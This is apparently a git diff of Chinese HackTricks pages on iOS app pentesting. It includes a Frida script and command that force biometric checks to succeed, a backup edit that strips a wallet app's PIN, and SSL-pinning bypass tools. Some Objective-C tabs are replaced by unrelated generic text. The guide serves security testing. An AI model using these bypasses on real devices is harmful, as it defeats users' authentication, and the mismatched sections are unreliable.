要评估应用程序的备份安全性,首先使用 Finder **创建一个备份**,然后根据[苹果官方文档](https://support.apple.com/en-us/HT204215)中的指导找到备份位置。分析备份中的敏感数据或配置,以确定可能会影响应用程序行为的内容。
|
||||
|
||||
可以使用命令行工具或应用程序如 [iMazing](https://imazing.com) 查找敏感信息。对于加密备份,可以通过检查备份根目录中的 "Manifest.plist" 文件中的 "IsEncrypted" 键来确认是否加密。
|
||||
```xml
|
||||
|
@ -692,21 +694,21 @@ iOS 集成了**自动备份功能**,通过 iTunes(适用于 macOS Catalina
|
|||
...
|
||||
</plist>
|
||||
```
|
||||
处理加密备份时,[DinoSec的GitHub存储库](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)中提供的Python脚本,如**backup_tool.py**和**backup_passwd.py**可能会很有用,尽管可能需要调整以与最新的iTunes/Finder版本兼容。[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)是访问受密码保护备份中文件的另一种选择。
|
||||
处理加密备份时,[DinoSec的GitHub存储库](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)中提供的Python脚本,如**backup_tool.py**和**backup_passwd.py**可能会很有用,尽管可能需要调整以与最新的iTunes/Finder版本兼容。另一个访问受密码保护备份中文件的选择是[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)。
|
||||
|
||||
### 修改应用程序行为
|
||||
|
||||
通过备份修改改变应用程序行为的示例可在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中找到,其中UI锁定PIN存储在**pin_code**键下的`net.bither.plist`中。从plist中删除此键并恢复备份将删除PIN要求,提供无限制访问。
|
||||
通过备份修改改变应用程序行为的示例可在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中找到,其中UI锁定PIN存储在`net.bither.plist`的**pin_code**键下。从plist中移除此键并恢复备份将删除PIN要求,提供无限制访问。
|
||||
|
||||
## 敏感数据的内存测试总结
|
||||
|
||||
处理存储在应用程序内存中的敏感信息时,限制此数据的暴露时间至关重要。调查内存内容有两种主要方法:**创建内存转储**和**实时分析内存**。这两种方法都有各自的挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
|
||||
处理存储在应用程序内存中的敏感信息时,限制此数据的暴露时间至关重要。调查内存内容有两种主要方法:**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
|
||||
|
||||
## **检索和分析内存转储**
|
||||
|
||||
对于越狱和非越狱设备,诸如[objection](https://github.com/sensepost/objection)和[Fridump](https://github.com/Nightbringer21/fridump)等工具允许转储应用程序进程内存。一旦转储完成,分析这些数据需要使用各种工具,具体取决于您正在搜索的信息的性质。
|
||||
|
||||
要从内存转储中提取字符串,可以使用`strings`或`rabin2 -zz`等命令:
|
||||
要从内存转储中提取字符串,可以使用诸如`strings`或`rabin2 -zz`之类的命令:
|
||||
```bash
|
||||
# Extracting strings using strings command
|
||||
$ strings memory > strings.txt
|
||||
|
@ -735,11 +737,11 @@ $ r2 frida://usb//<name_of_your_app>
|
|||
|
||||
### 使用不安全和/或已弃用的算法
|
||||
|
||||
开发人员不应该使用**已弃用的算法**来执行授权**检查**,**存储**或**发送**数据。一些这些算法包括:RC4,MD4,MD5,SHA1... 如果用于存储密码的**哈希**,应该使用抗暴力破解的哈希算法,并加盐。
|
||||
开发人员不应该使用**已弃用的算法**来执行授权**检查**,**存储**或**发送**数据。一些这些算法包括:RC4,MD4,MD5,SHA1...例如,如果要使用哈希来存储密码,应该使用抗暴力破解的哈希算法并加盐。
|
||||
|
||||
### 检查
|
||||
|
||||
要执行的主要检查包括查找代码中是否存在**硬编码**的密码/密钥,或者这些是否是**可预测**的,以及代码是否使用某种**弱**的**加密**算法。
|
||||
要执行的主要检查包括查找代码中是否存在**硬编码**的密码/密钥,或者这些是否是**可预测**的,并且代码是否使用某种**弱**的**加密**算法。
|
||||
|
||||
有趣的是,您可以使用**objection**自动监视一些**加密** **库**,方法如下:
|
||||
```swift
|
||||
|
@ -749,12 +751,12 @@ ios monitor crypt
|
|||
|
||||
## 本地身份验证
|
||||
|
||||
**本地身份验证**在通过加密方法保护远程端点的访问时发挥着至关重要的作用。关键在于,如果没有适当的实现,本地身份验证机制可能会被绕过。
|
||||
**本地身份验证**在通过加密方法保护远程端点的访问时起着至关重要的作用。关键在于,如果没有适当的实现,本地身份验证机制可能会被绕过。
|
||||
|
||||
苹果的**[本地身份验证框架](https://developer.apple.com/documentation/localauthentication)**和**[钥匙串](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)**为开发人员提供了强大的API,用于促进用户身份验证对话框的显示和安全处理秘密数据。安全区域(Secure Enclave)为Touch ID提供指纹识别,而Face ID则依赖面部识别,而不会泄露生物识别数据。
|
||||
苹果的**[本地身份验证框架](https://developer.apple.com/documentation/localauthentication)**和**[钥匙串](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)**为开发人员提供了强大的API,以便于用户身份验证对话框和安全处理秘密数据。安全区域(Secure Enclave)为Touch ID提供指纹识别,而Face ID则依赖面部识别,而不会泄露生物识别数据。
|
||||
|
||||
要集成Touch ID/Face ID,开发人员有两种API选择:
|
||||
- **`LocalAuthentication.framework`** 用于高级用户身份验证,无法访问生物识别数据。
|
||||
- **`LocalAuthentication.framework`** 用于高级用户身份验证,无需访问生物识别数据。
|
||||
- **`Security.framework`** 用于较低级别的钥匙串服务访问,通过生物识别身份验证来保护秘密数据。各种[开源包装器](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)使钥匙串访问更简单。
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -763,7 +765,7 @@ ios monitor crypt
|
|||
|
||||
### 实现本地身份验证
|
||||
|
||||
要提示用户进行身份验证,开发人员应该在**`LAContext`**类中使用**`evaluatePolicy`**方法,选择以下之一:
|
||||
为了提示用户进行身份验证,开发人员应该在**`LAContext`**类中使用**`evaluatePolicy`**方法,选择以下之一:
|
||||
- **`deviceOwnerAuthentication`**:提示使用Touch ID或设备密码,如果两者都未启用,则失败。
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**:仅提示使用Touch ID。
|
||||
|
||||
|
@ -771,7 +773,7 @@ ios monitor crypt
|
|||
|
||||
### 使用钥匙串进行本地身份验证
|
||||
|
||||
在iOS应用程序中实现**本地身份验证**涉及使用**钥匙串API**安全存储诸如身份验证令牌之类的秘密数据。该过程确保数据只能由用户使用其设备密码或Touch ID等生物识别身份验证来访问。
|
||||
在iOS应用程序中实现**本地身份验证**涉及使用**钥匙串API**来安全存储诸如身份验证令牌之类的秘密数据。该过程确保数据只能由用户使用其设备密码或Touch ID等生物识别身份验证来访问。
|
||||
|
||||
钥匙串提供了设置带有`SecAccessControl`属性的项目的功能,该属性限制对项目的访问,直到用户通过Touch ID或设备密码成功进行身份验证。这一功能对于增强安全性至关重要。
|
||||
|
||||
|
@ -821,32 +823,27 @@ if status == noErr {
|
|||
|
||||
## Objective-C
|
||||
|
||||
### Setting up the environment
|
||||
### 为什么要关注Objective-C
|
||||
|
||||
1. **MacOS**: You need a MacOS system to develop iOS applications.
|
||||
2. **Xcode**: Install Xcode from the App Store.
|
||||
3. **iOS Device**: You can use a physical iOS device or an emulator like the iOS Simulator.
|
||||
4. **Apple Developer Account**: You need an Apple Developer account to deploy apps on a physical device.
|
||||
Objective-C是iOS应用程序的主要编程语言之一。了解Objective-C语法和特性对于理解iOS应用程序的内部工作原理至关重要。在进行iOS应用程序渗透测试时,熟悉Objective-C将帮助您更好地理解应用程序的代码和潜在安全漏洞。
|
||||
|
||||
### Tools for Pentesting
|
||||
### Objective-C基础知识
|
||||
|
||||
1. **Cycript**: A runtime manipulation tool for iOS apps.
|
||||
2. **Clutch**: A tool for dumping decrypted iOS applications.
|
||||
3. **Dumpdecrypted**: A tool to decrypt encrypted iOS applications.
|
||||
4. **Class-dump-z**: A tool to display information of classes in a Mach-O file.
|
||||
5. **Frida**: A dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.
|
||||
6. **Hopper Disassembler**: A reverse engineering tool for macOS and iOS applications.
|
||||
7. **MobSF**: Mobile Security Framework - An automated, all-in-one mobile application (Android/iOS/Windows) pen-testing framework capable of performing static, dynamic analysis, malware analysis, and web API testing.
|
||||
- **Objective-C语法**:Objective-C是一种面向对象的编程语言,具有独特的语法和特性,如消息传递、动态方法解析等。
|
||||
- **Objective-C类和对象**:Objective-C使用类和对象来组织代码和数据,了解如何创建和使用它们是至关重要的。
|
||||
- **Objective-C方法**:方法是Objective-C中的函数,了解如何定义和调用方法是学习Objective-C的关键部分。
|
||||
- **Objective-C属性**:属性用于封装对象的数据,掌握如何声明和使用属性对于理解代码的行为至关重要。
|
||||
|
||||
### Resources
|
||||
### Objective-C渗透测试技术
|
||||
|
||||
- [iOS Application Security Testing Guide](https://github.com/OWASP/owasp-mstg)
|
||||
- [iOS Hacker's Handbook](https://www.wiley.com/en-us/iOS+Hacker%27s+Handbook-p-9781118204122)
|
||||
- **反编译Objective-C应用程序**:使用工具如Hopper或IDA Pro来反编译Objective-C应用程序,以查看其源代码和内部结构。
|
||||
- **分析Objective-C代码**:仔细分析Objective-C代码,寻找潜在的安全漏洞,如不安全的数据存储、逻辑漏洞等。
|
||||
- **利用Objective-C漏洞**:利用Objective-C应用程序中的漏洞进行攻击,如通过注入恶意代码、篡改数据等方式。
|
||||
|
||||
### Tutorials
|
||||
### 参考资源
|
||||
|
||||
- [iOS Application Security Testing Guide](https://github.com/OWASP/owasp-mstg)
|
||||
- [iOS Hacker's Handbook](https://www.wiley.com/en-us/iOS+Hacker%27s+Handbook-p-9781118204122)
|
||||
- [Objective-C编程语言官方文档](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/Introduction/Introduction.html)
|
||||
- [Objective-C基础教程](https://www.tutorialspoint.com/objective_c/index.htm)
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -903,46 +900,38 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
## Objective-C
|
||||
## iOS Application Pentesting
|
||||
|
||||
### Method Swizzling
|
||||
### Setting up the Environment
|
||||
|
||||
Method swizzling is the process of changing the implementation of an existing selector at runtime. This technique can be used for various purposes such as logging method calls, adding new functionality to existing methods, or even bypassing security checks.
|
||||
To perform iOS application pentesting, you need a macOS system with Xcode installed. Xcode is the official IDE for developing iOS applications and comes with various tools that are essential for iOS pentesting.
|
||||
|
||||
#### Example
|
||||
### Tools and Techniques
|
||||
|
||||
```objective-c
|
||||
+ (void)load {
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
Class class = [self class];
|
||||
|
||||
SEL originalSelector = @selector(originalMethod);
|
||||
SEL swizzledSelector = @selector(swizzledMethod);
|
||||
|
||||
Method originalMethod = class_getInstanceMethod(class, originalSelector);
|
||||
Method swizzledMethod = class_getInstanceMethod(class, swizzjsonledSelector);
|
||||
|
||||
BOOL didAddMethod = class_addMethod(class, originalSelector, method_getImplementation(swizzledMethod), method_getTypeEncoding(swizzledMethod));
|
||||
|
||||
if (didAddMethod) {
|
||||
class_replaceMethod(class, swizzledSelector, method_getImplementation(originalMethod), method_getTypeEncoding(originalMethod));
|
||||
} else {
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
}
|
||||
});
|
||||
}
|
||||
1. **Cycript**: A runtime manipulation tool that allows you to explore and modify running applications.
|
||||
2. **Clutch**: Used for decrypting iOS applications.
|
||||
3. **Dumpdecrypted**: A tool to decrypt encrypted iOS applications.
|
||||
4. **Class-dump**: Extracts information from Objective-C runtime information to generate headers for classes.
|
||||
5. **Hopper Disassembler**: Used for reverse engineering iOS applications.
|
||||
6. **MobSF**: Mobile Security Framework for automated security analysis of iOS applications.
|
||||
7. **Needle**: An open-source, modular framework to streamline the process of conducting security assessments of iOS apps.
|
||||
|
||||
- (void)originalMethod {
|
||||
NSLog(@"Original method implementation");
|
||||
}
|
||||
### Common Vulnerabilities
|
||||
|
||||
- (void)swizzledMethod {
|
||||
NSLog(@"Swizzled method implementation");
|
||||
}
|
||||
```
|
||||
1. **Insecure Data Storage**: Check for sensitive data stored in plaintext or insecurely.
|
||||
2. **Insecure Communication**: Look for network traffic that is not encrypted.
|
||||
3. **Improper Session Handling**: Check for session management issues.
|
||||
4. **Client-Side Injection**: Check for vulnerabilities like SQL injection, JavaScript injection, etc.
|
||||
5. **Authentication Issues**: Test for weak authentication mechanisms.
|
||||
6. **Jailbreak Detection Bypass**: Ensure the app cannot be easily accessed on jailbroken devices.
|
||||
|
||||
In this example, the `originalMethod` is swapped with the `swizzledMethod` at runtime using method swizzling.
|
||||
### Reporting
|
||||
|
||||
After conducting the pentest, prepare a detailed report outlining the vulnerabilities discovered, their potential impact, and recommendations for mitigation.
|
||||
|
||||
### Legal Compliance
|
||||
|
||||
Ensure that you have proper authorization before conducting any pentesting activities to avoid legal repercussions.
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -971,7 +960,7 @@ NSLog(@"Something went wrong");
|
|||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
如果应用程序中使用了 `LocalAuthentication.framework`,输出将包含以下两行(请记住 `LocalAuthentication.framework` 在底层使用 `Security.framework`):
|
||||
如果应用程序中使用了`LocalAuthentication.framework`,输出将包含以下两行(请记住`LocalAuthentication.framework`在底层使用`Security.framework`):
|
||||
```bash
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
|
@ -997,7 +986,7 @@ $ otool -L <AppName>.app/<AppName>
|
|||
|
||||
#### Frida
|
||||
|
||||
来自[DVIA-v2应用程序](https://github.com/prateek147/DVIA-v2)中对**`evaluatePolicy`**的使用示例:
|
||||
来自[DVIA-v2应用程序](https://github.com/prateek147/DVIA-v2)中使用**`evaluatePolicy`**的示例:
|
||||
```swift
|
||||
+(void)authenticateWithTouchID {
|
||||
LAContext *myContext = [[LAContext alloc] init];
|
||||
|
@ -1025,9 +1014,9 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
|||
}
|
||||
}
|
||||
```
|
||||
为了实现本地认证的**绕过**,编写了一个Frida脚本。该脚本针对**evaluatePolicy**检查,拦截其回调以确保其返回**success=1**。通过改变回调的行为,认证检查被有效地绕过。
|
||||
为了实现本地认证的**绕过**,编写了一个 Frida 脚本。该脚本针对 **evaluatePolicy** 检查,拦截其回调以确保其返回 **success=1**。通过改变回调的行为,认证检查被有效地绕过。
|
||||
|
||||
以下脚本被注入以修改**evaluatePolicy**方法的结果。它将回调的结果更改为始终指示成功。
|
||||
以下脚本被注入以修改 **evaluatePolicy** 方法的结果。它将回调的结果更改为始终指示成功。
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
|
@ -1099,8 +1088,8 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
|
||||
## 网络通信
|
||||
|
||||
重要的是检查是否发生**未加密**的通信,以及应用程序是否正确**验证服务器的TLS证书**。\
|
||||
要检查这类问题,可以使用像**Burp**这样的代理:
|
||||
重要的是检查是否发生**未加密的通信**,并且应用程序是否正确**验证服务器的TLS证书**。\
|
||||
要检查这类问题,您可以使用像**Burp**这样的代理:
|
||||
|
||||
{% content-ref url="burp-configuration-for-ios.md" %}
|
||||
[burp-configuration-for-ios.md](burp-configuration-for-ios.md)
|
||||
|
@ -1113,7 +1102,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
|
||||
### 证书固定
|
||||
|
||||
如果应用程序正确使用SSL Pinning,则应用程序仅在证书符合预期时才能正常工作。在测试应用程序时,**这可能是一个问题,因为Burp将提供自己的证书。**\
|
||||
如果应用程序正确使用SSL Pinning,则应用程序仅在预期的证书下才能正常工作。在测试应用程序时,**这可能是一个问题,因为Burp将提供自己的证书。**\
|
||||
为了绕过此保护,在越狱设备内部,您可以安装应用程序[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)或安装[Burp Mobile Assistant](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)。
|
||||
|
||||
您还可以使用**objection**的`ios sslpinning disable`
|
||||
|
@ -1137,9 +1126,9 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
|
||||
### 第三方
|
||||
|
||||
**第三方SDK**的一个重要挑战是对其功能的**缺乏细粒度控制**。开发人员面临选择:要么集成SDK并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其好处。通常,开发人员无法自行修补这些SDK中的漏洞。此外,随着SDK在社区中获得信任,一些可能开始包含恶意软件。
|
||||
**第三方SDK**的一个重要挑战是对其功能的**缺乏细粒度控制**。开发人员面临选择:要么集成SDK并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其优势。通常,开发人员无法自行修补这些SDK中的漏洞。此外,随着SDK在社区中获得信任,一些可能开始包含恶意软件。
|
||||
|
||||
第三方SDK提供的服务可能包括用户行为跟踪、广告显示或用户体验增强。然而,这带来了风险,因为开发人员可能并不完全了解这些库执行的代码,从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息至必要信息,并确保不会泄露敏感数据,这一点至关重要。
|
||||
第三方SDK提供的服务可能包括用户行为跟踪、广告显示或用户体验增强。然而,这带来了风险,因为开发人员可能并不完全了解这些库执行的代码,从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息至关重要,确保不会泄露敏感数据。
|
||||
|
||||
第三方服务的实施通常有两种形式:独立库或完整SDK。为了保护用户隐私,与这些服务共享的任何数据都应该**匿名化**,以防止泄露个人可识别信息(PII)。
|
||||
|
||||
|
@ -1191,8 +1180,8 @@ otool -L <application_path>
|
|||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -37,7 +37,7 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
|||
}
|
||||
```
|
||||
### **通过`NSSecureCoding`增强安全性**
|
||||
为了减轻攻击者向已构建对象中注入数据的漏洞,**`NSSecureCoding`**提供了一个增强的协议。符合`NSSecureCoding`的类在解码过程中必须验证对象的类型,确保只有预期的对象类型被实例化。然而,需要注意的是,虽然`NSSecureCoding`增强了类型安全性,但它并不加密数据或确保其完整性,因此需要采取额外措施来保护敏感信息:
|
||||
为了减轻攻击者向已构建对象中注入数据的漏洞,**`NSSecureCoding`**提供了一个增强的协议。符合`NSSecureCoding`的类在解码过程中必须验证对象的类型,确保只有预期的对象类型被实例化。然而,需要注意的是,虽然`NSSecureCoding`增强了类型安全性,但它并不加密数据或确保数据完整性,因此需要额外的措施来保护敏感信息:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
|
@ -59,27 +59,27 @@ var x: Double
|
|||
var name: String
|
||||
}
|
||||
```
|
||||
这种方法支持直接将属性列表和JSON序列化到Swift应用程序中,增强数据处理能力。
|
||||
这种方法支持直接将数据序列化到属性列表和JSON,增强了Swift应用程序中的数据处理能力。
|
||||
|
||||
## JSON和XML编码替代方案
|
||||
除了原生支持外,还有几个第三方库提供JSON和XML编码/解码功能,每个库都有自己的性能特点和安全考虑。特别是要仔细选择这些库,以减轻漏洞风险,比如通过配置解析器来防止外部实体处理,从而避免XXE(XML外部实体)攻击。
|
||||
除了原生支持外,还有几个第三方库提供了JSON和XML编码/解码功能,每个库都有其自己的性能特征和安全考虑。特别是要仔细选择这些库,以减轻漏洞,如通过配置解析器来防止外部实体处理的XXE(XML外部实体)攻击。
|
||||
|
||||
### 安全考虑
|
||||
在对数据进行序列化时,特别是要写入文件系统时,必须警惕可能包含敏感信息。如果序列化数据被拦截或处理不当,可能会导致应用程序面临未经授权的操作或数据泄露等风险。建议对序列化数据进行加密和签名以增强安全性。
|
||||
在序列化数据时,特别是要写入文件系统时,必须警惕可能包含敏感信息。如果序列化数据被拦截或处理不当,可能会导致应用程序面临未经授权的操作或数据泄露等风险。建议对序列化数据进行加密和签名以增强安全性。
|
||||
|
||||
## 参考资料
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注**我**。
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上**关注我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,21 +9,21 @@
|
|||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
## Apple 开发者计划
|
||||
|
||||
**配置文件标识**是与 Apple 开发者帐户关联的一组公钥和私钥。为了**签署应用程序**,您需要支付**99美元/年**注册加入**Apple 开发者计划**以获取您的配置文件标识。没有这个,您将无法在物理设备上运行来自源代码的应用程序。另一个选择是使用**越狱设备**。
|
||||
**配置文件标识**是与苹果开发者帐户关联的公钥和私钥集合。为了**签署应用程序**,您需要支付**99美元/年**注册**Apple 开发者计划**以获取您的配置文件标识。否则,您将无法在物理设备上从源代码运行应用程序。另一种选择是使用**越狱设备**。
|
||||
|
||||
从 Xcode 7.2 开始,Apple 提供了一个选项来创建一个**免费的 iOS 开发配置文件**,允许在真实的 iPhone 上编写和测试您的应用程序。转到 _Xcode_ --> _首选项_ --> _帐户_ --> _+_(添加新的 Apple ID 到您的凭据) --> _单击创建的 Apple ID_ --> _管理证书_ --> _+_(Apple 开发) --> _完成_\
|
||||
从 Xcode 7.2 开始,苹果提供了一个选项来创建**免费的 iOS 开发配置文件**,允许在真实的 iPhone 上编写和测试您的应用程序。转到 _Xcode_ --> _首选项_ --> _帐户_ --> _+_(添加新的 Apple ID 到您的凭据) --> _单击创建的 Apple ID_ --> _管理证书_ --> _+_(Apple 开发) --> _完成_\
|
||||
\_\_然后,为了在您的 iPhone 上运行应用程序,您需要首先**指示 iPhone 信任计算机**。然后,您可以尝试从 Xcode 在手机上**运行应用程序**,但会出现错误。因此,转到 _设置_ --> _通用_ --> _配置文件与设备管理_ --> 选择未受信任的配置文件并点击“**信任**”。
|
||||
|
||||
请注意,**由相同签名证书签名的应用程序可以以安全的方式共享资源,如钥匙串项**。
|
||||
请注意,**由相同签名证书签署的应用程序可以以安全的方式共享资源,如钥匙串项**。
|
||||
|
||||
配置文件存储在手机内部的**`/Library/MobileDevice/ProvisioningProfiles`**中
|
||||
配置文件存储在手机内的**`/Library/MobileDevice/ProvisioningProfiles`**中
|
||||
|
||||
## **模拟器**
|
||||
|
||||
|
@ -36,13 +36,13 @@
|
|||
首先需要知道的是,在模拟器中进行渗透测试将比在越狱设备中进行的测试受到更多限制。
|
||||
|
||||
构建和支持 iOS 应用程序所需的所有工具**仅在 Mac OS 上得到官方支持**。\
|
||||
苹果用于创建/调试/检测 iOS 应用程序的事实标准工具是**Xcode**。它可用于下载其他组件,如**模拟器**和不同的**SDK** **版本**,以构建和**测试**您的应用程序。\
|
||||
苹果用于创建/调试/检测 iOS 应用程序的事实标准工具是**Xcode**。它可用于下载其他组件,如**模拟器**和不同**SDK** **版本**,以构建和**测试**您的应用程序。\
|
||||
强烈建议从**官方应用商店**下载 Xcode。其他版本可能携带恶意软件。
|
||||
|
||||
模拟器文件可以在`/Users/<username>/Library/Developer/CoreSimulator/Devices`中找到
|
||||
|
||||
要打开模拟器,请运行 Xcode,然后点击 _Xcode 选项卡_ --> _打开开发人员工具_ --> _模拟器_\
|
||||
\_\_在下面的图片中,点击“iPod touch \[...]”可以选择其他设备进行测试:
|
||||
要打开模拟器,请运行 Xcode,然后按 _Xcode 选项卡_ --> _打开开发人员工具_ --> _模拟器_\
|
||||
\_\_在下图中,点击“iPod touch \[...]”可以选择其他设备进行测试:
|
||||
|
||||
![](<../../.gitbook/assets/image (457).png>)
|
||||
|
||||
|
@ -67,7 +67,7 @@ Corellium是唯一公开可用的iOS模拟器。它是一种企业SaaS解决方
|
|||
|
||||
## 越狱
|
||||
|
||||
